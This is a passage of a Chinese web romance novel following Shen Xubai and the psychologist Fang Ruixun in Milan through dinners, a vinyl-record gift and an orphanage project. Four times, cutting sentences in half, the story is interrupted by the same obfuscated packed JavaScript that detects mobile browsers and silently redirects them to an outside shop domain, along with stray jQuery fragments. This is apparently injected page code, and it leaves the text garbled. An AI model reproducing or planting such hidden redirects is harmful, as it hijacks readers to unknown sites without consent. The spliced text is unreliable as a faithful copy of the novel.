沈叙白跟进屋,方锐寻没有再往里面走,而是回头和沈叙白来了个面对面。
“我说,我是你的听众,最忠实的那种。”
不像是嘲讽,因为方锐寻的笑容挺真诚的,沈叙白内心这样想,放在身侧的手不由得紧了一下。
他还没回答,身后的走廊传来脚步声,是徐迟打完电话来了。
方锐寻把门完全推开,对沈叙白笑了笑,没再接着逗他,走到角落去倒水。
他手上握着茶包,心里却突然升起一种微妙的快感——他看到沈叙白的耳尖又红了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146258|196379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
逗逗他还挺有意思的。
“诶,你怎么站这啊。”
徐迟走到门口,看着雕塑一样一动不动的沈叙白,给了他肩膀一巴掌,屋内的方锐寻把两杯茶放在茶几上,对他们笑道:
“过来坐吧。”
沈叙白和方锐寻坐在一起,方锐寻则坐在他们对面,他从茶几下拿出两个文件,换了一个方向分别推到两人面前:
“两位看看吧,这里有关于活动的介绍,策划部分还没有敲定,就是昨天林女士邮件里面说需要你们参与的部分”,方锐寻点了一下头,然后把目光落在沈叙白身上。
对坐的沙发之间的距离不超过两米,沈叙白正低头认真看文件,完全没注意到有人毫不遮掩的注视。
因为低头,他的刘海儿顺势向下,睫毛随着眨眼的动作微微抖动,在眼睫四周扫下一小片阴影。
他们又有一段时间没见了,沈叙白的眼下围着一点乌青,那颗小痣静静地躺在左眼角,方锐寻的目光停在那里。
他应该很累吧。
方锐寻这样想。
但徐迟似乎并没有把每一页都认真看,翻动纸页的动作越来越迅速,方锐寻看出了他的着急,便开口:
“可以慢慢看,二位如果晚上有时间,我请客。”
说到最后,方锐寻又把目光重新收回到沈叙白的身上。
“抱歉啊,方医生,刚是导师给我打的电话,晚上有点事,不能一起吃饭了,多谢您的好意。”
“没事,不过我现在的身份只是交流学者,叫我名字就好。”方锐寻拿出另一个文件夹,“福利院给的资料说你们并不是同一个专业,所以需要你们发挥各自所长,既然你晚上有事的话,就先从你开始吧。”
方锐寻对上徐迟的目光,脸色更加公事公办,声音也变得专业:“我们考虑到趣味性、启发性和互动性,于是先有了几个想法,首先是用......”
沈叙白知道这是官方的活动,只是不知道他们俩人到底是谁的创意太多,还是过于啰嗦,居然说起来没完了。
屋内的暖气开的很足,沙发也足够柔软,身边的徐迟还在喋喋不休,说的话也是夹杂着一大堆关于建筑的专有名词,刚开始沈叙白还能认真听他们讨论,估摸着过了一个小时,他就有点受不住了,眼皮就开始打架。
昨晚准备竞赛又熬夜,欠缺的睡眠在这一刻化成瞌睡虫不断袭击沈叙白,他无声地打了一个哈欠,眼眶有些发酸,缓缓放松自己,把头靠在背后的软枕上。
他原本只是想休息一下。
只可惜人在瞌睡面前的控制力会被削弱很多,他就这样睡着了。
他不清楚自己睡了多久,意识像是终于找到了一处温暖安全的地方,于是便可以放任自己进入梦乡。
这样昏沉的意识持续了多久他并不知道,直到沈叙白突然惊醒,像是受惊的猫一下子弹直了脊背。
从梦里惊醒的感觉并不好受,加速的心跳在耳边轰鸣,他用警惕的目光朝周围扫视了一圈,大脑才意识到自己现在还在研究中心的会客厅。
徐迟没在他身边,环顾四周也没见到一个人,沈叙白感觉身上有些重,他抻了一下自己的胳膊,才发现自己身上盖着什么东西。
黑色的,他原本以为是一条毛毯,知道他拿起来顺了一下,才发现是一件西装外套。
他的目光茫然地落在茶几上,原本自己那杯还没动地茶水已经被收走,三个文件夹叠在一起放好,他闭上眼深呼吸了几口,努力平复自己的心跳。
就在这时,微小的“滴滴”声响起,门被人打开了,身后传来熟悉的声音:
“看样子是醒了?”
12. 愿望
“我......你......”
沈叙白还没回过神,脑中一片乱麻,在陌生的研究中心睡着,还有他人的突然出现,不免让他内心更加慌乱,本就不太清晰的意识更是乱成一锅粥。
身后的脚步声越来越近,最终绕过他,在对面的沙发上落座。
方锐寻轻笑一声,把文件夹搁桌上怼了一下,塞进下面的隔层,抬眼看面前正处于发懵状态的沈叙白:
“哦,看来还没醒呢。”
听出这话里的揶揄,沈叙白脸上有点发烧,他伸手揉了一把自己的头发,抓着衣服的边缘,抬眼问:
“我睡着了?”
“对啊,睡得可香了。”
“......”
方锐寻的目光落在他被揉乱的头发上,一小撮因为他刚才的摧残而反抗。因为刚睡醒,沈叙白眼眶有些湿润,发红的边缘在灯光下变粉,倒映出细碎光亮。
“现在几点了?”
沈叙白这才注意到对方没穿西装外套,而是一件简约的白衬衣,手肘以一种放松的姿态搭在膝盖上,没有戴那副金丝框眼镜,便少了平日里那几分严肃与沉稳,被染上些许温柔。
“五点半。”
“这么晚了......那我们赶紧开始说策划的事.....”
“你不饿吗?”
“啊?”
方锐寻还等沈叙白把话说完,就把话题完全带到了另一个方向。
“五点半了,你不吃晚饭吗?”
?
这人什么意思?
“走吧,我请你吃饭,策划的事情吃饭的时候说也不迟。”
沈叙白刚想拒绝,就在这时,他的肚子不合时宜地叫了一声。
在只有两个人的会客厅里,这点声音虽然不大,但也足够对方听到了。
沈叙白:“......”
他听到对方低低笑了一声,然后开口:
“还准备说不饿吗?饿了就去吃饭吧,开始就说了这顿我请的。”
方锐寻拿起门口柜子上的公文包,转头看了一眼还搁沙发上坐着的沈叙白:
“还不走吗,咱们还要说关于活动策划的事。”
他这才赶紧从沙发站起来,太久没动腿有些麻,起身时用力过猛,眼前一黑就开始摇摇晃晃,他赶紧扶助身侧的沙发。
方锐寻站在几米之外,注视着他的一举一动,心里不合时宜地冒出短短三个字:
真好看。
方锐寻自认为这29年来,对男人都没什么特别的态度,除了正常的工作社交,也就是友情上的称兄道弟,在职业上会对人有一些外貌上的称赞,除此之外,内并不会有什么波澜。
只是现在......自己为什么会用这个词去形容一个男人?
与此同时,他的内心不由自主地出现了一丝保护欲。
人的感情真是莫名其妙。
房间里暖气开的足,方锐寻抿了一下干涩的嘴唇,挪开了视线。
直到沈叙白走到他面前,把衣服递给他:
“这是你的西装外套吧。”
“哦,是的,怕你感冒了。”
暖气这么足,还会感冒吗?
方锐寻没说的是,他在看到沈叙白睡着后,就拿着文件夹坐到徐迟旁边,用压低的声音继续说话。等到最后徐迟也走了,整间会客厅恢复了原来的宁静,方锐寻看着沈叙白在睡梦中却依旧拧起的眉心,轻轻叹了一口气,把外套搭在他身上。
他一定想自己的弟弟了。
只是哥哥照顾弟弟,方锐寻这样给自己找补。
“去哪里吃完饭?我请客吧。”沈叙白开口。
“去Navigli运河附近?我请。”
“今天下午我睡着了,耽误了你的时间,不能再让你破费。”
方锐寻接过外套穿好,整理好领带:
“今天下午是我们邀请你来的,那请未来的合作伙伴吃顿饭,不过分吧。”
“我还没说要和你们合作。”
“嗯,那就是,你的乐迷想请你吃顿饭。”
说着,方锐寻按下门把手,侧身挡着门,伸手做了一个“请”的姿势。
“什么......”
什么乱七八糟的,沈叙白想。
“怎么,偶像不愿意给我这个机会吗?”
“......”
无赖。
EI Brellin是Navigli运河边一家很有名的餐厅。
最初作为运河15世纪的仓库,历史在这里留下厚重的石墙、古老的木梁和砖拱的天花板,暖黄调的柔光铺在屋内不少老物件上,像是沉默的老者,在无声中展示着“水城”的过去。
沈叙白的目光透过玻璃窗,落在波光粼粼的运河上,窗外就是Navigli运河最著名的古桥,对岸的灯光连带着建筑的样子荡漾在河水里,他撑着头等方锐寻回来,刚才在门口,方锐寻说自己要到外面回个电话,让他先进来。
方锐寻回来后,服务生上来建议他们先点开胃酒,沈叙白只是扫了一眼酒水单,就说都听他的。
“那咱们快开始吧,关于这个项目。”
“嗯,我们跟院长交流过,他对你给予了很高的评价,如果后续你可以加入我们的长期交流活动,他希望可以从......”
“可是我并没有说自己一定要参加。”
“我相信你会参加的。”
“为什么?”
方锐寻笑笑不说话,只是伸手拉开了一旁的公文包,从里面抽出一个文件夹。
“这个,院长托我转交给你。”
沈叙白不解地接过去,厚厚的一沓,还不轻。
打开以后,大大小小的纸张和信封被整齐地放在一起,为首的那张,不同颜色留下粗细不一的线条,上面歪歪扭扭的字迹,看样子写字的人虽然书法含金量极低,但是却很用力,很用心地把一个又一个字母写上去:
“Cugino,ti piace molto。”
(哥哥,我们想你了。)
“Tutti ci piace molto”
(我们都很喜欢你)
虽然内心已经隐约感觉到这是什么,但他还是有些不可置信:
“这是......”
“孩子们想送给你的信和画。”
方锐寻肯定了他的猜测。
“可是......”
可是明明他和这群孩子只见过两面,明明自己只是一个连和弦都有点按不好的人,明明自己什么都没有给他们带去......
自己有什么资格来接受这份沉甸甸的喜爱和期待呢?
沈叙白的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146259|196379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
内心被感动与震惊冲击得不稳,就连他捏着纸张边缘的指尖都有些泛白,每翻过一张,他原本的决定都会随之动摇一下。
刚开始没时间、没资格、没结果的等等借口,都在这份珍重面前丢盔弃甲,只剩下最后一道防线——他对自己的否定。
”但我并不是一个优秀的演奏者。"
“沈叙白,你是这群孩子音乐梦想的启蒙者,他们需要你。”
方锐寻没有等他回答,而是继续道:
“从心理学角度来说,幼年儿童对‘不完美’的喜爱,关乎安全、自我、自由与爱,它并非幼稚或非理性,而是深刻而独一无二的。而你,就是他们心中,那个不可替代、独一无二的人。”
像是希腊神话里赫克托尔身后的城墙,在他战死后土崩瓦解,沈叙白内心此刻溃不成军,他从最开始给自己建设的那道城墙顺势倒塌,在此刻化成湿润的眼角。
“那么,沈叙白先生,你愿意成为我们的合作伙伴吗?”
“......好。”
用餐间隙,方锐寻向他详细介绍了项目的时间,活动安排,记录了沈叙白提出的建议,最后,他拿出一张表格:
“既然已经是项目的一员了,那就填一下信息表格吧。”
沈叙白看了一眼,是一张基础信息表,一般官方的活动都会对参与人员信息进行留存,填写这张表格也无可厚非。
因此沈叙白没发表什么意见,接过钢笔就开始填。
方锐寻的目光随着他的笔尖移动,他从倒着的字迹里,辨认出关于他生日的数字。
12月31日。
一年的最后一天,并且——马上就要到了。
“你的生日,快要到了。”
“嗯。”
沈叙白的语气并没有什么起伏,只表示了肯定。
“有什么打算吗?”
“没有。”
“啧”,方锐寻吧手肘撑在桌子上,歪头望着窗外来去匆匆的人流,用有些失望的声音问:“就不庆祝一下?”
“不了。”
沈叙白刚好填到表格上的最后一个问题,明明是很简单的一句话,他却有些不解:
——你最想做的事情?
为什么要问这个问题?
“这是什么?”
沈叙白指尖在相应的位置敲了两下,抬头问方锐寻。
“哦,就是统计大家的愿望。”
“为什么要统计这个?”
方锐寻像是一点也不惊讶,平淡的态度显得沈叙白才是那个大惊小怪的人:“既然是合作伙伴,那就要相互了解,统计一下大家想做的事情不过分吧。”
“......”
如果是这样,那好像也并不过分。
不过这个问题,沈叙白确实不知道要怎样回答,他已经很久没有想过自己想做什么,在过去的很多年中,他似乎都活在母亲给他制定的框架里,所有的愿望都要经过那个女人名为“为你好”的审核。
他自己的想法并不重要。
方锐寻并没有打断他的沉默,只是注视着顿在半空中的笔尖。
沈叙白的思绪顺着时光,顺着母亲的话,顺着繁忙的学业往前回溯,直到延申至一个灰暗的午后。
于是他落笔,在纸上写下一个已经被尘封许久的愿望:
一场音乐节。
13. 弥补
吃完晚饭后,方锐寻提议去散步。
“你不工作了吗?”
“现在是下班时间”,方锐寻走到餐馆门口,笑了一下,“刚才吃饭的时候聊了那么久的活动策划,你现在要和我一起加班吗?”
“当然不是,方医生应该挺忙的,我就不打扰你了。”
“都说已经下班了,就不用叫我方医生了。”
“那叫你什么?”
“名字就好。”
叫他名字?
这不太好吧......
对方是国内的心理学专家,无论从年龄,还是资质上都不知道要高自己多少,就算因为一个交流项目勉强站在一起,加上之前见过几面,也完全没到可以直呼对方姓名的程度。
“我的名字有什么问题吗?”
“哦,没有。”
“那在犹豫什么?”
沈叙白:“......”
这怎么回答?
沈叙白腹诽一会,大脑飞速转了几圈:
“......在这个项目里面,你应该算是我的领导吧,那......”
那直接称呼领导大名,不好吧?
“看来你说的是真的”,方锐寻装模做样叹气,很失望地摇摇头:“我懂了。”
“我说什么了?”
什么懂了,为什么这个人在叹气,搞得好像自己亏待他了一样?
“你说,我们不是朋友。”
怎么又扯回这个梗了,当心理医生的都这样无赖吗。
“我哪里说了,我当时正要说是,结果你直接打断我了!”
沈叙白的语气有些激动,结果方锐寻的脸上却出现了一丝可疑的笑意。
“......”
沈叙白突然意识到,这个人在故意逗自己。
“那既然是朋友,直接称呼名字有什么不可以?”
“知道了。”
沈叙白没等他把话说完就迅速回了一句,气急败坏地转身走了几步。
等等.....自己为什么突然转身就走呢?
是因为知道对方会追上来继续和他说话吗?
怎么听上去有点像个......被捉弄了一下就气红脸的小孩?
太幼稚了。
他想到自己第一次在Visonni见到沈叙白,觉得对方在挖苦自己,因为一句话转身就走了。
沈叙白刚想要转身回去好好说话,还没来得及动作,就听见身后带着笑意的声音:
“叙白,那如果作为朋友,我能不能纠正一处地方?”
“啊?”
皮鞋踏在青石板上发出轻响,脚步声最后停在身边,沈叙白余光里闯进方锐寻的身影。
“这个活动你是策划,是我在征求你的意见,要是这样说的话,你才是那个领导我的人。”
沈叙白的内心像是被人微微捏了一下,一种带着酸涩的喜悦冒出头。
是在肯定他吗?
唇齿开合几下,沈叙白最终没能说出什么。
方锐寻向河对面看了看:
“我还没怎么来过这边,你可以带我逛逛吗?”
沈叙白顺着他的目光望去,路灯的光勾勒波浪边缘,把光亮和黑暗揉合在一起。
沈叙白抬手指了一下河对面:“对面我还没怎么去过,我一般只在这边活动,要不我带你在在这边......”
“那走吧,去对面看看。”
方锐寻看了他一眼,抬脚就往不远处的石桥走。
这人的脑回路怎么和别人不一样呢?
沈叙白跑了几步,跟上他的步伐,方锐寻笑着对上他的眼睛:
“往哪边走?”
“唔.....随便吧。”
方锐寻前后看看,随手指了面前的路:“那就继续往前走吧。”
虽然沈叙白夏天就已经搬到Navigli附近了,但过的还是匆忙且两点一线的生活,偶尔忙里偷闲能去Visonni酒吧已经十分不易,阁楼所在的这半边街区他也就刚搬来为了认路逛过。
几个月以来,这却是他第一次放松下来,把自身融入这片街区的节奏。
“这是什么?”
闻言沈叙白抬头,是一扇很不起眼的小门,深棕色屋檐下挂着块木匾,上面用粗线条勾勒“EI Pueblo”几个字母。
复古唱片吧。
“卖黑胶唱片的。”
方锐寻:“那要进去看看吗?”
沈叙白刚好也来了点兴趣,于是点头,抬脚跨过门槛。
屋内温度高不少,沈叙白感觉刚才冻僵的脸稍微有了点知觉。这家店很小,连带着门框顶端也矮了不少,他用余光瞟到方锐寻低头进门后,就把目光挪到面前。
暖暗灯光下,木制书架从天花板延伸至地面,塞满了按流派和年代粗略分类的黑胶唱片,沈叙白细细感受在空气里漂浮的独特气味,是旧纸张、灰尘和木头混合在一起的味道。
视线随着书架的边缘逡巡,最终,目光落在一幅黑白肖像上。
这是一张专辑封面,照片中Jeff Buckley侧着脸,微卷的深色头发垂落,画面略微失焦又带着颗粒感,像是让人隔着一层水汽张望。
沈叙白伸手想从书架上拿下这张,指尖触碰的瞬间,专辑常用的铜版纸质感没有传来,通过神经传到给他的,却是带着粗粝和磨砂,像是在岁月里枯旧的泛黄信封。
停在半空中的手顿住了,沈叙白瞬间不想再触碰这张专辑。
“怎么了?”
方锐寻跟在沈叙白后面,注意力却没放在满架专辑,而是身前的这个人上。他看到沈叙白伸出又顿住的手、一瞬间惊喜但又变得黯淡的眼神。
他应该是喜欢的,但为什么没有继续?
“没什么”,沈叙白收回半空中的手,“随便看看而已。”
方锐寻走到他身边,把书架上的专辑拿下来,在沈叙白眼前轻轻翻开。
照片上Jeff Buckley躺在沙发上抱着吉他,或是穿着随性自由,街头漫步,他大笑,沉思。把脆弱、亲密,未经修饰的情感毫无保留地放在这张专辑里。
“很喜欢吗?”
沈叙白怔怔地盯着照片几秒,深吸一口气,缓缓摇头:
“说不上,很久以前喜欢。”
沈叙白没再看他,只是顺着书架往里走。
方锐寻没把专辑放回书架,而是小心地把手背在身后:
“很久以前,是多久以前?”
“快有十来年了吧,那时候我还在上初中,攒了很久的零用钱,想要买这张专辑。”
“最后得偿所愿了?”
“没有”,沈叙白停住脚步,他们已经走到唱片店的尽头,这家店的柜台也刚好在书架的最里侧,他俩隔着书架隔层的缝隙对望,方锐寻让沈叙白在沙发上坐着等一会,自己则去柜台结账。
“刚才你是买到喜欢的专辑了?”
方锐寻回来的时候,沈叙白问道。
但对方只是把一个用牛皮纸包着的东西递到自己的面前:
“送你的。”
“送......”
我的?
为什么?
这张专辑被包装得很精致,泛黄得牛皮纸勾勒出方正的形状,手搓麻线绕过几圈最后以蝴蝶结的形
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146260|196379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
状的结尾,上面用英文写着:
Free and love.
自由与爱。
“这是为什么?”
“送自己的偶像一张专辑,不过分吧?”方锐寻把手中的东西又往前递了一点,“而且,我猜你应该会喜欢。”
“你是怎么知道我喜欢......你在观察我吗?”
就像之前在公园那样。
这敏锐的戒备心。
“这个问题,如果用观察这个词就不太好了。我只是刚好看到你当时的惊喜。”见沈叙白没有接,方锐寻也到沙发上,“或许,你愿意告诉我不喜欢它的原因吗?”
沈叙白愣了几秒,沙发不大,两个人只能并排坐,离得很近。他撑着头看窗外的人流,过了近一分钟才开口道:
“我总觉得,有些事情,过去就过去了,就算我小时候再想拥有,现在也没必要了。”
“嗯,确实有可能这样,在心理学上,一件物品背后的连结,会给特定的人不同感受。”
“所以这是在分析吗,方医生?”
“当然不是,我从没把你当成一个病人,只是在你身上,我有时会看到一种矛盾。”
“矛盾?”
“是,就比如,你的微表情告诉我你很喜欢这张专辑,但你却会对它表现出不在意。”
“在我心里,年少时没有得到的东西,长大后再补偿,还有什么意义吗?”
不要做刻舟求剑的那个人,该翻篇的就迅速翻篇,放过自己才会减少痛苦。
这是沈叙白面对过去的法则。
“可是谁说的没有意义呢?”
“......”
是谁说的呢,沈叙白想了想,自从他来到意大利,似乎已经没有人可以再阻止他做喜欢的事情。
到底是谁定义的呢?
“你是不是很早就喜欢音乐了?”
方锐寻问出的这个问题,明明答案已经显而易见,但沈叙白却犹豫了好一会,最后才开口:
“......当然。”
“那我想,那时的你,也是真心喜欢这张专辑。所以,弥补过去的愿望依旧是有意义的。”
方锐寻把专辑轻轻放在沈叙白腿上,开口时语气很轻,像是在哄一个孩子:
“那个过去遗憾的故事被填满,这本身就是与过去对话。很多人因为痛苦而回避过去,但事实是,如果一味地逃避这种交流,就会失去很大一部分人生。”
在方锐寻眼里,成长后和过往的那个孩子对话,是人生的必修课。
沈叙白没有回答,方锐寻也没有等他回答。
我在.....逃避吗?
沈叙白在心里问自己。
那为什么会不想接母亲打来的电话,那为什么会选择退租,那为什么.....
会拒绝这张他曾经喜欢的专辑。
“走吧,很晚了,我送你回去。”
方锐寻起身,和沈叙白一起走出唱片店。
屋外的风带着冬夜的凌冽,从温暖中脱离,沈叙白哆嗦一下,方锐寻无声地把他掉在身后的一节围巾拉到面前:
“没记错的话,你之前说你住在这附近。”
“哦是,在那边。”
沈叙白指了指河对岸,方锐寻点头:
“我送你。”
方锐寻把沈叙白送到楼下,他看着楼道灯挨个亮起来,最后楼房的最上方出现人影。
方锐寻轻轻皱眉:
他是住在阁楼里吗?
窗边的人向他挥了挥手,然后消失在视线里。
“希望你睡个好觉。”
方锐寻无声道。
14. 特殊含义
那晚过后,沈叙白又投入到匆忙且平淡的生活中。
每天乘坐黄线电车到学校上课,为了课业和竞赛泡在图书馆,等到天完全黑下来,身边同学也陆续离开,才无声收拾好东西,返回阁楼。
与此同时,阁楼的东西也越来越少,被他一点点搬到Bocconi那边的公寓去。
这天中午,沈叙白上完课没有去图书馆,他打算回公寓收拾收拾,正收拾着东西,搁在兜里的手机震了两下,消息弹出来。
“学长,今天有时间一起吃饭吗?”
这是他这个月收到这个人的第四条邀请。
沈叙白刚想拒绝,对方又弹出一条消息:
“竞赛上有点问题,刚好想向您请教。”
对方也是一个金融系的学生,本科三年级。学校在竞赛方面支持其他年级学生观赛,沈叙白因为这个认识了这位常来观众席的男生。
“抱歉,今天下午还有事,没有时间。”沈叙白飞速地打字,“下次吧。”
“没事的学长,我可以买了饭来学校找你,不会耽误你下午的安排。”
被“没时间”的理由拒绝了四次,对方转变策略,沈叙白盯着屏幕几秒,眉头皱着,刚想继续拒绝,但消息还没发出手突然顿住了。
万一真的只是想要问几个问题呢?
这样一直拒绝,实在是没什么礼貌。
况且对方只是一个男生。
沈叙白站在原地犹豫几秒,最终回复道:
“你在哪里,我请你出去吃。”
他最终在校园周边的餐厅里见到姚安。
这家餐厅他没来过,只是看这里离得近才选择到这儿见面。
那个男孩也是一副中国面孔,长相白净,一副黑色细框,柔顺的头发搭在额前,俨然一副好学生模样。
“学长。”
看到沈叙白进门,姚安站起来向他挥手,脸上的笑意越发灿烂。
“嗯。”
沈叙白把背包放在身侧的另一个凳子上,浅浅看一眼他的装扮——平整的衬衫,还认真打了领带。最重要的是,沈叙白在坐下以后闻到一种甜腻的气息。
“哪里有问题?”
姚安从身边的手提包里拿出一个笔记本,走了两部绕过餐桌,到沈叙白身边:
“学长,方便和你坐一排吗?”
说着他扬着下巴示意沈叙白身边那个用来放包的空座位。
“哦,可以。”
沈叙白没想太多,把背包往靠背上压了压,就换了座位。
和对方的距离猛然缩近,那种甜腻的气味也变得浓重,沈叙白不自觉地皱了皱眉。
起初他以为这是餐厅专门用来布置的香薰,此刻才意识到,这是对方身上的气味。
他专门喷了香水。
不过他也没太在意,米兰这样一座充满时尚气息的城市,人们精致打扮自己无可厚非。
沈叙白稍微屏住呼吸,目光落在翻动的纸页上。
“关于这个模型分析,我还不太懂,上次的模拟很精彩,学长。”
“谢谢。”
沈叙白只是礼貌性地回了一句,他在认真看本子上的笔记,毕竟他和对方并不熟,只想早点结束离开。
这时店员上来问他们要点什么,沈叙白看了一眼姚安,便开口随便点了几样。
“你喜欢吃什么?”
“没有,和学长一样就好。”
沈叙白还是没太在意,不过他隐约感觉到,自己脸上落着谁直白的目光,他有些不自然地抬头,撞上对方匆忙挪开的眼神。
?
这是干什么?
“怎么了?”
对方脸上一晃而过的慌张消失,又变成最开始的笑容:
“没什么,就是刚发现,学长,你的左眼下有一颗小痣。
“......”
沈叙白没有接他的话,看了一会笔记,他用手指出几处错误,详细说明原因。
只是他总觉得奇怪:对方的视线总是没在本子上。
他也不想纠结什么,迅速解释完后,他指了指对面的椅子:
“菜已经上齐了。”
“哦。”
姚安不情不愿地拿着笔记本回到座位上,看着两份一模一样的菜,右手握着叉子,左手却撑着脸杵在桌子上:
“学长。”
“嗯。”
沈叙白没有抬头看他,只是很轻地应了一声,他正盘算着公寓里还有什么没有收拾好的,对方的一句话就让他愣住了。
“你有女朋友吗?”
“......”
沈叙白抬头对上姚安的眼神,才终于后知后觉地发现这顿饭带点别的意思。
醉翁之意不在酒。
冲着他来的。
“没有。”
该不会是有哪位托姚安来探信息的?
“那你......有男朋友吗?”
?
???
沈叙白沉默了。
时光静止了二十秒,也可能是三十秒,沈叙白摇了摇头。
除了刚来意大利的时候谈过女朋友,沈叙白几年来都过着一个人的生活。
他从来没怀疑过自己的性取向,更没思考过这个问题。
“追你的人一定很多吧?”
对方又继续问。
“没有。”
这两年也有一些追求沈叙白的人,大多数都是看上他的脸,一番交谈过后,就没再继续。
他不想在谈恋爱上敷衍了事,也不想因为生活的重压,去开启一段用于缓解寂寞的恋爱关系。
“学长,那我下次有问题还可以来问你吗?”
“有些问题可以直接问导师,你之前送资料的那个办公室,可以去那里。”
“哦。”
姚安拿着叉子在面前的盘子上随意划拉几下,语气中带着失落:
“学长,可是他们都不如你耐心。”
“......”
沈叙白迅速扒拉了几口饭,无奈道:
“那要是有实在解决不了的问题就给我发消息。”
他实在不想再回答他的问题,留下这句话就匆匆告别离开了。
沈叙白回到公寓,屋里还是有些冰冷,尽管他把大多数用品都搬了过来,但空荡荡的房间还是死气沉沉。
他随手扔了包,跟电量耗尽一般直接栽进被子。
就在这时,兜里的手机又响了。
......
真他妈烦。
没完没了了是吗,刚吃完饭还要打电话。
他咬牙切齿地把手机抽出来,想着要是还是姚安就别怪他口出狂言,可当他看到备注的一瞬间却停下动作:
方锐寻。
他打电话来干什么?
手指划过屏幕,电话接通,对方沉稳的声音顺着电流传来:
“叙白。”
“方......哥。”
上次方锐寻让他别喊“方医生”,思来想去直呼大名也不合适,沈叙白想了半天,最后就用年龄做文章,说喊他“哥”。
对方欣然同意。
方锐寻语速不快,属于那种可以给人重充足反应时间,但又不会拖沓的类型。听到电话那头的声音,沈叙白内心的烦躁顿时消减了大半:
“有什么事吗?”
“哦,是这样,前几天活动的策划方案已经送到福利
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146261|196379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
院去了,院长说今天在院里举行晚宴,当作是交流活动的启动仪式。”
既然已经成为项目的一员,沈叙白就没再怎么拒绝过关于活动的邀请,只是想到来回的路程,便还是有些犹豫。
“晚宴吗,但是我过去就不好回来了,福利院比较远。”
“没事,今天我开车,把你一起带回来。”
“......好”
“那我晚点去你家楼下等你。”
“我没在那边,我在学校。”
“好,那你给我发个定位,到了给你打电话。”
沈叙白把定位发过去,手机砸在床上没发出声音,疲惫感终于淹没了他,在柔软中睡了过去。
不知道过了多久,沈叙白被电话铃声惊醒。
米兰的冬天夜晚来的早,明明才五点多,屋外已经暗了下去,灰暗的光勾勒不清房间的模样,只留下自己惊醒的心跳,他接通电话,方锐寻告诉他快到了。
他迅速起身收拾好自己,抓起钥匙出门。
方锐寻把车停在楼梯口不远处,靠在副驾驶车门上低头看手机。
晚风中带着寒气,摆动他额前的碎发,路灯落下的光被镜片切割,修长的腿交叠在一起,剪裁极好的西装衬得气质非凡,路过的人看到这副画面,不免议论着是谁的男朋友跑来接人了。
“来了?”
听见脚步声,方锐寻的笑容随着抬头的动作撞进沈叙白眼里。
“嗯。”
走到车边,沈叙白犹豫了一下,决定坐后排,手来没来得及伸出去,方锐寻直接拉开啊副驾驶车门,车里开着暖气,温度刚好。
“在这里等了很久吗?"
"没有,刚到,我提前给你打的电话。”
沈叙白看了一眼他被冻红的脸,没有出声。
方锐寻把车开出限行区,指了指右手的电子屏:
“想听歌吗,你可以连蓝牙。”
距离到福利院还有一会,过于安静的氛围多少有些尴尬,沈叙白应了一声,打开手机。
才点开设置,手机的提醒就蹦了出来:
“手机电量已不足20%,请及时充电。”
“......”
中午回去一心烦,压根忘了要给手机充电这事。
“怎么了?”
见沈叙白半天没动作,方锐寻开口问。
“手机没电了。”
“你开一下面前的抽屉,里面有不同型号的充电线。”
沈叙白按照他的话找到适配的电线,插在车辆的电力系统接口上。
“用我的手机放歌吧。”
方锐寻抬头示意放在中控台边的手机,见沈叙白没有去拿,又提醒了一句:
“我开车不方便,你帮我一下。”
“......好。”
用了“帮”这个字,那再拒绝就不好了。
沈叙白摁亮屏幕,映入眼帘是一张风景照,柳树茂密的枝叶占据右半边画面,不远处就是围栏——应该是在湖边拍的。
他向上一滑,输入密码的界面蹦出来。
“密码是六个一。”
而后点到设置,连上蓝牙,沈叙白打开音乐软件,开始播放他的收藏歌单。
音乐播放器开始工作以后,沈叙白耐不住好奇问道:
“密码是随便设的吗?”
“是。”
“为什么?或者说,为什么不选择一个有特殊含义的?”
此时已经快开出主城区,路边的高楼少了许多,朝远处看,灰蒙蒙的天空下映着山脉的影子,方锐寻盯着前方,半晌才开口:
“太麻烦了,又或者说,我还没有找到那个——特殊含义。”
15. 答案
“今天是去朋友家了吗?”
公路两侧的楼房已经完全消失,围栏划出界限,跨过去就是庄园,牛羊赶回去后,寂静中只剩风声。
